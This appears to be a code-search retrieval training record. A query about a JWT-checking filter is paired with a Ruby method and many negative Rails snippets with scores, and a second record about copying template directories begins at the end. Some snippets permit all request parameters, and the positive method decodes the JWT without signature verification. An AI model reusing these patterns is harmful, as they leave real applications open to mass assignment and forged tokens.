"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69802505",
"0.6781974",
"0.67470175",
"0.67430073",
"0.67350477",
"0.6593221",
"0.6504263",
"0.64988977",
"0.6481794",
"0.64800006",
"0.64568025",
"0.64411247",
"0.6379476",
"0.63765615",
"0.6368045",
"0.6320141",
"0.6300363",
"0.6300057",
"0.62952244",
"0.6294712",
"0.6293856",
"0.6290323",
"0.62816143",
"0.6241851",
"0.6241208",
"0.622036",
"0.62128764",
"0.62110275",
"0.61966056",
"0.61776453",
"0.617547",
"0.6174961",
"0.61654735",
"0.6153256",
"0.61516005",
"0.6149498",
"0.6123234",
"0.6118653",
"0.61077267",
"0.61061186",
"0.6093616",
"0.608318",
"0.6074428",
"0.60650206",
"0.60244286",
"0.6020295",
"0.60155797",
"0.6012826",
"0.6010141",
"0.6010141",
"0.60037106",
"0.600298",
"0.59979576",
"0.5994806",
"0.5994283",
"0.5993927",
"0.5980616",
"0.59667075",
"0.59614897",
"0.59610957",
"0.596071",
"0.5959614",
"0.59554",
"0.59542966",
"0.5946781",
"0.5940262",
"0.5940262",
"0.59401053",
"0.5937168",
"0.5932135",
"0.59293395",
"0.592659",
"0.59202623",
"0.59112674",
"0.59088206",
"0.590716",
"0.59056735",
"0.589997",
"0.5899655",
"0.5898926",
"0.5896042",
"0.589589",
"0.5895867",
"0.58894163",
"0.5884936",
"0.5879227",
"0.58740723",
"0.5871364",
"0.5870148",
"0.5869228",
"0.5868196",
"0.5867967",
"0.5865532",
"0.58653617",
"0.58644646",
"0.58631665",
"0.5862611",
"0.5857609",
"0.58558804",
"0.5853729",
"0.5853025"
] |
0.0
|
-1
|
This method can be used as a before filter to protect any actions by ensuring the request is transmitting a valid JWT.
|
def verify_jwt_token
begin
if request.format.json?
token = request.headers['Authorization'].split(' ').last
decoded_token = JWT.decode token, nil, false
@current_user = User.find(decoded_token[0]["user_id"])
head :unauthorized if request.headers['Authorization'].nil? || !AuthToken.valid?(token)
else
authenticate_user!
end
rescue => exception
head :unauthorized
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filter_request(request)\n @token.authenticate(request)\n end",
"def authorize_request\n unless request.headers['Authorization'].present?\n render json: {message: 'Missing Token'}, status: :unauthorized\n end\n end",
"def verify_jwt_token\n # token = request.headers['HB-UserToken']\n # if not token\n # render :status => 401, :json => {:message => \"User token required\"}\n # return\n # end\n \n #begin\n # jwt = JWT.decode(token, JWT_SECRET)\n #rescue JWT::DecodeError\n # render :status => :unauthorized, :json => {:message => \"Invalid token\"}\n # return\n #end\n \n #@current_user = User.find_by_authentication_token(jwt[0][\"user_token\"])\n @current_user = User.find_by_email('mercury.solar02@gmail.com')\n #if not @current_user\n # render :status => 401, :json => {:message => \"Invalid user token\"}\n # return\n #end\n \n @ability = Ability.new(@current_user)\n \n end",
"def protected\n auth = request.headers['HTTP_AUTHORIZATION']\n\n if auth =~ /sekret/\n render json: {success: \"You're in!\"}\n else\n render json: {error: 'Unauthorized'}, status: 401\n end\n end",
"def verify_jwt_token\n head :unauthorized if request.headers['Authorization'].nil? ||\n !AuthToken.valid?(request.headers['Authorization'].split(' ').last)\n end",
"def jwt_not_authenticated\n head :unauthorized\n end",
"def validate_api_filter\n if params[:token].nil?\n token = params[params.keys.reject { |k| [:action, :controller].include?(k) }.first][:token]\n unless token.nil?\n params[:token] = token\n params[params.keys.reject { |k| [:action, :controller].include?(k) }.first].delete(:token)\n end\n end\n @user = User.api_key_authentication(params[:token]) if params[:token]\n unless @user\n render :xml => \"<xml><error><response>Invalid API Key</response></error></xml>\", :status => :forbidden\n false\n end\n end",
"def authenticate\n# byebug\n return true if public_action?\n if request.format.json?\n authenticate_token || render_json_unauthorized\n else\n authenticate_user!\n end\n end",
"def api_authenticate\n if request.headers[\"Authorization\"].present?\n auth_header = request.headers['Authorization'].split(' ').last\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request \n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end",
"def api_authenticate\n if request.headers[\"Authorization\"].present?\n # Take the last part in The header (ignore Bearer)\n auth_header = request.headers['Authorization'].split(' ').last\n # Are we feeling alright!?\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request\n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end",
"def authorize_user\n unless @api_user.permit? params[:controller], params[:action]\n head :unauthorized and return\n end\n end",
"def authorize\n end",
"def authorize\n end",
"def authenticate_request!\n\t\t# unless is if in reverse. If user_id_in_token == false then render error\n\t unless user_id_in_token?\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\t return\n\t end\n\t @current_user = User.find(auth_token[:user_id])\n\trescue JWT::VerificationError, JWT::DecodeError\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\tend",
"def authorize_user\n render json: {message: \"Unauthorized\"}, status: 401 unless get_current_user.id == params[:user_id].to_i\n end",
"def authenticate\n return true if public_action?\n if request.format.json?\n render_json_unauthorized unless authenticate_token\n else\n authenticate_user!\n end\n end",
"def validate\n token = jwt\n return unless token\n token.validate\n end",
"def check_auth\n authorize @equipment_listing\n end",
"def api_authentication_required\n unauthorized unless current_user?\n end",
"def authorize\n puts \"********** current user app controller *****************\"\n puts @current_user\n puts current_user\n puts '*********************************************************'\n # NOTE: to self: current_user method is called, it then decodes the JSON WEB Token,\n # grabs the user_id, and uses that id to make a query to find the user that matches that id and returns it. Then on that returned user we do a .id to get the id and compare it to the parameter :id\n\n render json: {status: 401, message: \"unauthorized\"} unless current_user.id == params[:id].to_i\n end",
"def before_each(req)\n if dealership(req).nil? then not_found\n elsif !authenticated?(req) then unauthenticated\n elsif !authorized?(role(req), session_user(req)) then unauthorized\n else super\n end\n end",
"def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end",
"def need_protection?(request)\n request.params.has_key?('access_token')\n end",
"def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end",
"def authorize_request\n @current_user = (AuthorizeApiRequest.new(request.headers).call)[:user]\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end",
"def jwt_token_authen!\n data = jwt_verify(headers[\"Token\"])\n return error!('401 Unauthorized', 401) if data.nil?\n end",
"def ensure_permit_access_authorized!\n unless @_bsm_rails_api_authorized\n raise NotSecure, \"This action failed because permit_access filters were not run. Add permit_access to secure this endpoint.\"\n end\n end",
"def require_authorization!\n unless current_user == @event.user\n render json: {}, status: :forbidden\n end\n end",
"def restrict_access\n api_key = ApiKey.find_by_access_token(request.headers[\"token\"])\n head :unauthorized unless api_key \n end",
"def authorize_application\n render json: { ok: false, message: 'unauthorized' }, status: 401 unless request.headers['App-Key'] == 'R141p7THbd5vRdH20xb5SaOsN6bJ5J5S'\n end",
"def authenticate_request!\n fail NotAuthenticatedError unless user_id_included_in_auth_token?\n @current_user = User.find(decoded_auth_token[:user_id] || decoded_auth_token[:id])\n fail NotAuthenticated if @current_user.blank?\n rescue JWT::ExpiredSignature, JWT::ImmatureSignature\n raise AuthenticationTimeoutError\n rescue JWT::VerificationError, JWT::DecodeError, ActiveRecord::RecordNotFound\n raise NotAuthenticatedError\n end",
"def protect_against_forgery?; end",
"def authorized\n if !decode_token\n render json: {message: \"Please Sign In\"}, status: :unauthorized\n end\n end",
"def castle_filter\n return unless resource_class.castle_hooks[:before_registration]\n\n response = CastleDevise.sdk_facade.filter(\n event: \"$registration\",\n context: CastleDevise::Context.from_rack_env(request.env, resource_name)\n )\n\n return if CastleDevise.monitoring_mode?\n\n case response.dig(:policy, :action)\n when \"deny\"\n set_flash_message!(:alert, \"blocked_by_castle\")\n flash.alert = \"Account cannot be created at this moment. Please try again later.\"\n redirect_to new_session_path(resource_name)\n false\n else\n # everything fine, continue\n end\n rescue Castle::InvalidParametersError\n # TODO: We should act differently if the error is about missing/invalid request token\n # compared to any other validation errors. However, we can't do this with the\n # current Castle SDK as it doesn't give us any way to differentiate these two cases.\n CastleDevise.logger.warn(\n \"[CastleDevise] /v1/filter request contained invalid parameters.\" \\\n \" This might mean that either you didn't configure Castle's Javascript properly, or\" \\\n \" a request has been made without Javascript (eg. cURL/bot).\" \\\n \" Such a request is treated as if Castle responded with a 'deny' action in\" \\\n \" non-monitoring mode.\"\n )\n\n unless CastleDevise.monitoring_mode?\n set_flash_message!(:alert, \"blocked_by_castle\")\n redirect_to new_session_path(resource_name)\n false\n end\n rescue Castle::Error => e\n # log API errors and allow\n CastleDevise.logger.error(\"[CastleDevise] filter($registration): #{e}\")\n end",
"def authenticate_with_token!\n render json: { errors: \"Not authenticated\" }, status: :unauthorized unless user_signed_in?\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end",
"def authenticate_scope!\n \n \n do_before_request \n\n end",
"def authorize!\n api_key = ApiKey.find_by_access_token(params[:access_token])\n head :unauthorized unless api_key\n return false\n end",
"def require_access_token\n # make sure the request has been signed correctly\n verify_signature\n \n # NOTE make sure you define Controller#find_token which\n # returns an object that responds to the access_token? message\n # access_token? should return true if the token object is an AccessToken\n # it should return false if the token object is a RequestToken\n if !current_token.access_token?\n throw :halt, render(invalid_access_token_message, :status => 401, :layout => false)\n end\n end",
"def restricted_login!\n return true if authenticate_token_restricted\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def whitelist\n if cannot_access_api?\n render json: [], status: :unauthorized\n end\n end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def authorize\n redirect_to :login unless user_signed_in?\n end",
"def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end",
"def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end",
"def authenticate_request!\n payload, header = JsonWebToken.verify(http_token)\n header if false # Commeent this line\n @requested_user = {\n email: payload['https://sassbox.com/email'],\n first_name: payload['https://sassbox.com/first_name'],\n last_name: payload['https://sassbox.com/last_name']\n }\n rescue JWT::VerificationError, JWT::DecodeError\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end",
"def login_required\n # Skip this filter if the requested action is not protected\n return true unless protect?(action_name)\n\n # Check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n\n # Store current location so that we can redirect back after login\n store_location\n\n # Call access_denied for an appropriate redirect and stop the filter\n # chain here\n access_denied and return false\n end",
"def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end",
"def run_filters\n set_user\n authorize\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authenticate_with_token\n # get the token from the header\n # get the token from the post body\n # get the token from json post\n \n token = request.headers[\"HTTP_AUTHORIZATION\"]\n \n if (!token)\n if (not_protected self.controller_name, self.action_name)\n return nil\n end\n\n redirect_to controller: 'application', action: 'index' \n end\n\n #@user = get_user_by_token(token)\n end",
"def authorize\n redirect_to('/login') unless @current_user\n end",
"def protect_against_forgery?\n\n end",
"def protect_from_forgery\n end",
"def protect_against_forgery?\n end",
"def allow_params_authentication!; end",
"def authenticate_user\n return if request.headers['Authorization'].blank?\n\n jwt_payload = JwtHelper.decode(token: request.headers['Authorization'].split(' ').second)\n\n raise JWT::VerificationError if JwtBlacklist.any? { |obj| obj.jti == jwt_payload['jti'] }\n\n @current_user_id = jwt_payload['id']\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def ensure_authenticated_user\n render json: {message: 'Unauthorized'}, status: 401 unless current_user\n # head :unauthorized unless current_user\n end",
"def authorize\n unless params[:token] == Rails.configuration.api_token\n return render(plain: \"Unauthorized API token\\n\", status: :unauthorized)\n end\n end",
"def login_required\n not_authorized unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize(_subject, _auth)\n false\n end",
"def authenticate_json_request\n #return true unless Rails.env.production?\n\n # TODO Turn this back after making it correctly check for API requests\n if false && APIKeysActive == true && Rails.env.production?\n # Is it safe to suppose that ALL JSON requests will be API requests?? -SR\n #we'll check the mime types once 1.0 is deprecated, and 2.0 servers both html and json - RJ\n\n #case request.format\n #when Mime::JSON\n #/^Token token=\"(.+?)\"$/ - This should be integrated in the near future because we want\n # to check for the Token token portion of the header value.\n regex = /^.*\\\"([\\w]+)\\\"$/.match(request.authorization)\n regex ||= Array.new #guarantees the array accessor works on the next line\n key = regex[1]\n render :json => OldApi.error(403, \"Invalid Api Key\"), :status => 403 and return unless ApiKey.exists?(key: key)\n #end\n end\n end",
"def authenticate_request\n begin\n uid = JWT.decode(request.headers['Authorization'], Rails.application.secrets.secret_key_base)[0]['uid']\n @current_user = User.find_by(uid: uid)\n rescue JWT::DecodeError\n render json: 'authentication failed', status: 401\n end\n end",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def verify_token\n token ||= request.env['HTTP_AUTHORIZATION']\n if token.nil?\n error 401, { :error => 'Unauthorized.' }.to_json\n else\n token = token.split(' ').last unless token.nil?\n begin\n @user = verify(token)\n rescue JWT::ExpiredSignature\n error 401, { :error => 'Expired token.' }.to_json\n end\n end\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { details: \"Access denied\" } ] }, status: :unauthorized\n end",
"def require_no_authentication\n require_no_authentication_or_app_jwt\n end",
"def authenticate_token\n render json: {message: \"Unauthorized\"}, status: 401 unless decode_token(bearer_token)\n end",
"def authorize_user!\n if !current_user.present?\n render json: {error: 'No user error'}\n end\n end",
"def authorize!\n redirect '/' unless logged_in?\n end",
"def before_request\n self.login if require_login? && !@authenticating\n end",
"def authenticate_user\n unauthorized unless current_user\n end",
"def protect_against_forgery?\n controller.send(:protect_against_forgery?)\n end",
"def authenticate_with_token!\n renders json: {errors: \"Not authenticated\"},\n status: :unauthorized unless user_signed_in?\n end",
"def check_json_authenticity\n return unless request.format.js? or request.format.json?\n return unless protect_against_forgery?\n return unless params[request_forgery_protection_token]\n auth_token = params[request_forgery_protection_token]\n unless (auth_token and form_authenticity_token == URI.unescape(auth_token))\n raise(ActionController::InvalidAuthenticityToken)\n end\n end",
"def authenticate_shopify_request\n unless hmac_valid?()\n unauthorized() and return\n end\n end",
"def render_unauthorized\n logger.debug \" *** UNAUTHORIZED REQUEST: '#{request.env['HTTP_AUTHORIZATION']}' ***\"\n self.headers['WWW-Authenticate'] = 'Token realm=\"Application\"'\n render json: {error: \"Bad credentials\"}, status: 401\n end",
"def unauthorized\n render_json error: 'Access Not Authorized', status: :forbidden\n end",
"def before_rodauth\n rails_verify_authenticity_token\n super\n end",
"def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end",
"def authenticate_api_token\n if request.headers[\"Authorization\"].present?\n \n auth_header = request.headers['Authorization'].split(' ').last\n \n #try to get the data from jwt token\n @payload = decode auth_header\n \n #couldnt get data for whatever reason\n if !@payload\n render json: { error: \"Problem med autentiseringssträngen. Försök att logga in igen.\" }, status: :bad_request \n #success!\n else\n @payload\n end\n #no token was sent with header \n else\n render json: { error: \"En autentiseringssträng krävs.\"}, status: :forbidden # The header isn´t present\n end\n end",
"def handle_unverified_request\n super\n render :text => \"Forgery protection token was not present.\", :status => :unauthorized\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def authenticate!\n user_id = get_user_id_from_token\n if user_id\n @current_user = User.find(user_id)\n else\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end\n rescue JWT::ExpiredSignature\n render json: { errors: ['Authentication Timeout'] }, status: 419\n rescue JWT::VerificationError, JWT::DecodeError\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end",
"def authenticate_request\n auth_header_token = request.headers[\"Authorization\"]\n @current_user = AuthorizeApiRequest.new(auth_header_token).call\n render json: { error: \"Not Authorized\" }, status: 401 unless @current_user\n end",
"def check_authorization\n return head :unauthorized if request.env['HTTP_CAPKEY'].nil?\n\n head :forbidden unless request.env['HTTP_CAPKEY'] == Settings.API_KEY\n end",
"def before_filter; end",
"def ensure_authorization_performed(options = {})\n after_filter(options.slice(:only, :except)) do |controller_instance|\n controller_instance.ensure_authorization_performed(options)\n end\n end",
"def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end"
] |
[
"0.6975118",
"0.6674913",
"0.64597625",
"0.64119655",
"0.63582075",
"0.63264006",
"0.6322555",
"0.62745905",
"0.6273998",
"0.62526846",
"0.6236557",
"0.61915356",
"0.61915356",
"0.61817575",
"0.6171722",
"0.6150705",
"0.6143216",
"0.6133747",
"0.610661",
"0.6066448",
"0.60640043",
"0.6061785",
"0.6056854",
"0.6055452",
"0.6054912",
"0.6052771",
"0.6022529",
"0.6003154",
"0.60027194",
"0.5997783",
"0.5988708",
"0.5987663",
"0.597582",
"0.5974022",
"0.59411603",
"0.5940233",
"0.5940233",
"0.5940233",
"0.5940233",
"0.5940233",
"0.5940233",
"0.5940233",
"0.5940233",
"0.59368396",
"0.59247845",
"0.5921704",
"0.5920188",
"0.59157175",
"0.5908097",
"0.59067225",
"0.58999395",
"0.5894325",
"0.5894325",
"0.58930296",
"0.5891773",
"0.5886013",
"0.58780307",
"0.58766806",
"0.5875083",
"0.5874788",
"0.5874779",
"0.58726877",
"0.5862254",
"0.5861609",
"0.58576584",
"0.5842593",
"0.5842593",
"0.58329713",
"0.58327985",
"0.58237725",
"0.58159864",
"0.580343",
"0.5801436",
"0.579639",
"0.57940114",
"0.5782231",
"0.5778753",
"0.5777609",
"0.5776201",
"0.57758236",
"0.5775176",
"0.5770341",
"0.5769672",
"0.5767991",
"0.57663536",
"0.57594043",
"0.57589483",
"0.5754726",
"0.5751999",
"0.57518935",
"0.5750581",
"0.57492214",
"0.5748684",
"0.5744431",
"0.5743068",
"0.5734956",
"0.57316434",
"0.57270503",
"0.57213074",
"0.57170707"
] |
0.63536173
|
5
|
Use to copy a whole directory from the "template" to the new talia instance
|
def process_dir(manifest, directory, options = {})
manifest.directory(directory)
files = relative_dir_files(directory)
process_files(manifest, files, options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def copy_template(*args)\n args.each do |path|\n # puts \"Installing #{path}...\".magenta\n remove_file path\n file path, File.read(File.join(@path_templates, path))\n # puts \"\\n\"\n end\nend",
"def clone_kvm(name, template)\n FileUtils.cp(template, File.join(KVM_HOME, 'storage', \"#{name}.qcow2\"))\nend",
"def prepare(ant)\n @directory.ensure_directory\n \n ant.copy(:todir => @directory.to_s, :overwrite => false) {\n ant.fileset(:dir => @static_resources.terracotta_home_template_directory.to_s) {\n ant.exclude(:name => '.svn/**')\n }\n }\n \n self\n end",
"def copy_template\n FileUtils.mkdir_p(self.source) unless File.exists?(self.source)\n File.open(File.join(self.source, 'template.erb'), 'w') do |file|\n erb = File.read(File.join(generator_path, 'template.erb'))\n erb.gsub!('{{query}}', self.query) if self.query\n file.write(erb)\n end\n FileUtils.cp_r File.join(generator_path, '_assets'), self.source\n end",
"def copy_template name, options = {}\n FileUtils.mkdir_p dest\n FileUtils.cp_r path_to_template(name), options[:to] ?\n \"#{dest}/#{options[:to]}\" :\n dest\n end",
"def generate_populate_folder\n empty_directory 'db/populate'\n # copy_file \"template_filename\", \"final_directory\" # With this we will copy the file straigh from tempaltes folder to the final destination\n # template \"template_filename\", \"final_directory\" # With this we can pass arguments to the template\n # if option_name ...\n end",
"def copy_template(input, output)\n file = File.open(input, \"r\")\n f = File.open(output,\"w\")\n while (line = file.gets)\n f.write(line)\n end\n f.close\n file.close\n end",
"def copy_template_files_to(answer)\n template_files.each do |template_file|\n template_file.copy_template_to(answer)\n end\n end",
"def copy_base_files\n\tbase_files = Dir[\"templates/Base/**/*\"].reject { |fn| \n\t\tFile.directory?(fn) \n\t}\n\n\tprint \"copying base base files .\"\n\n\tbase_files.each do |base_file|\n\t\tdestination = base_file.gsub(\"templates\", \"output\")\n\n\t\tcreate_folders_for_path destination\n\n\t\tFileUtils.cp(base_file, destination)\n\t\tprint \".\"\n\tend\n\tprint \"\\n\"\nend",
"def destination(base_directory); end",
"def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend",
"def create(path)\n self.destination_root = path\n\n copy_file(\".gitignore\")\n copy_file(\"config.ru\")\n copy_file(\"Gemfile\")\n copy_file(\"Procfile\")\n copy_file(\"README.md\")\n\n copy_content\n copy_themes\n end",
"def copy_to!(dest)\n Pow(dest).parent.create_directory\n copy_to(dest)\n end",
"def clone_destination\n @clone_destination ||= Dir.mktmpdir('chef-steel-')\n end",
"def initialize_target_directory\n # create result directory\n Dir.mkdir(@target_dir) unless Dir.exists?(@target_dir)\n\n # copy vendor assets\n vendor_dir = File.expand_path('../../../vendor/assets', __FILE__)\n FileUtils.cp_r(vendor_dir, @target_dir, remove_destination: true)\n\n # copy local assets\n assets_dir = File.expand_path('../templates/assets', __FILE__)\n FileUtils.cp_r(assets_dir, @target_dir)\n end",
"def copy_data_dir_here\n copy_all from: content, to: current_dir\nend",
"def copyfile from, to\n FileUtils.mkdir_p File.dirname to\n cp from, to\n end",
"def sudo_upload_template(src,dst,options = {})\n raise Capistrano::Error, \"sudo_upload_template requires Source and Destination\" if src.nil? or dst.nil?\n put ERB.new(File.read(src),nil,'-').result(binding), \"/tmp/#{File.basename(dst)}\", options\n sudo \"mv /tmp/#{File.basename(dst)} #{dst}\", options\n sudo \"chmod #{options[:mode]} #{dst}\", options if options[:mode]\n sudo \"chown #{options[:owner]} #{dst}\", options if options[:owner]\n end",
"def backup_template( template )\n filename = \"./templates/#{template['id']}.json\"\n file = File.new(filename, \"w\")\n puts \"Backing up #{filename} ...\"\n file.write( template )\n file.close\n end",
"def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend",
"def copy(src,target)\n mkdir_p target if ! File.exist?(target)\n sh 'cp ' + src + '/* ' + target\nend",
"def create_yaml_templates_dir(templates_yaml_source, templates_yaml_destination)\n log(\"Creating #{templates_yaml_destination}\")\n remote_directory templates_yaml_destination do\n source templates_yaml_source # files/default/templates_yaml\n files_owner node['jmxtrans']['user']\n files_group node['jmxtrans']['user']\n files_mode \"0755\"\n owner node['jmxtrans']['user']\n group node['jmxtrans']['user']\n mode \"0755\"\n purge true\n action :nothing\n # because we need all the templates on disk for\n # rendering, we force this to happen at compile time\n end.run_action(:create)\nend",
"def copy_sources!\n FileUtils.cp_r(TEMPLATES + 'sources/.', @sources_path)\n end",
"def make_copy(src, dest)\n#\tcommandz(\"cp -p #{src} #{dest}\")\n\n\t#Now with Ruby :)\n\tFileUtils.cp(\"#{src}\", \"#{dest}\", :preserve => true )\nend",
"def copy_static\n FileUtils.cp_r 'static/.', 'output/' \nend",
"def copy_assets\n Dir.glob dir(\"templates/assets/**/*\") do |item|\n next if File.directory? item\n d = undir item\n d = d[10..-1] # Cut off \"templates/\" at beginning\n copy_file_to_output item, d\n end\n end",
"def save(name, src=nil)\n raise ArgumentError, \"template name not given\" unless name\n\n src = src || Dir.pwd\n dir = Quarry.bank_folder + \"#{name}\" # silo_folder\n copier = Copier.new(src, dir, :backup=>false)\n copier.copy\n copyfile = dir + '.ore/copy.rb'\n if !copyfile.exist?\n File.open(copyfile, 'w'){ |f| f << 'copy all' }\n end\n dir\n end",
"def copy_config\n template \"faker.yml\", \"config/faker.yml\"\n end",
"def copy_content\n @tocopy.each do |pair|\n src = pair[0]\n dst = File.expand_path(File.join(@temp_path, pair[1] || ''))\n dstdir = File.dirname(dst)\n FileUtils.mkpath(dstdir) unless File.exist?(dstdir)\n FileUtils.cp_r(src, dst)\n end\n\n # clear out the list of things to copy so that snippets can\n # re-load it and call copy_content again if needed\n @tocopy = []\n end",
"def upload_template(src,dst,options = {})\n raise Capistrano::Error, \"put_template requires Source and Destination\" if src.nil? or dst.nil?\n put ERB.new(File.read(src)).result(binding), dst, options\n end",
"def create_into(directory)\n build_file\n Pathname.new(directory).join(@file).open 'w+' do |file|\n post = self\n file << ERB.new(load_template).result(binding)\n end\n end",
"def copy_file\n `cp pages/#{self.page.name}/#{self.filename} public/pages/#{self.page.name}/#{self.filename}`\n end",
"def copy_to(target)\n target.parent.mkdirs\n factory.system.copy_dir(@path, target.path)\n end",
"def copy_static\n FileUtils.cp_r 'static/.', 'output/', :preserve => true\nend",
"def copy_files_to_dir(file,destination)\n FileUtils.cp(\"#{@gem_path}/lib/modules/common/#{file}\",\"#{@project_name}/#{destination}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{destination}/#{file}\"\n end",
"def copy_initializer\n template 'k8s/tests_job.yaml', \"k8s/#{app_name}_tests_job.yaml\"\n template 'k8s/deployment.yaml', \"k8s/#{app_name}_deployment.yaml\"\n template 'k8s/service.yaml', \"k8s/#{app_name}_service.yaml\"\n template 'k8s/setup_job.yaml', \"k8s/#{app_name}_setup_job.yaml\"\n template 'Jenkinsfile', \"Jenkinsfile\"\n template \"Dockerfile.#{docker_base}\", \"Dockerfile\"\n template \"Dockerfile.test.#{docker_base}\", \"Dockerfile.test\"\n template 'database.yml.prod', \"database.yml.prod\"\n template 'database.yml.test', \"database.yml.test\"\n end",
"def copy(options)\n destination = copy_destination options\n to_path = join_paths @root_dir, destination\n to_path_exists = File.exist? to_path\n\n preserve_existing = false? options[:overwrite]\n\n copy_resource_to_path to_path, preserve_existing\n copy_pstore_to_path to_path, preserve_existing\n\n to_path_exists\n end",
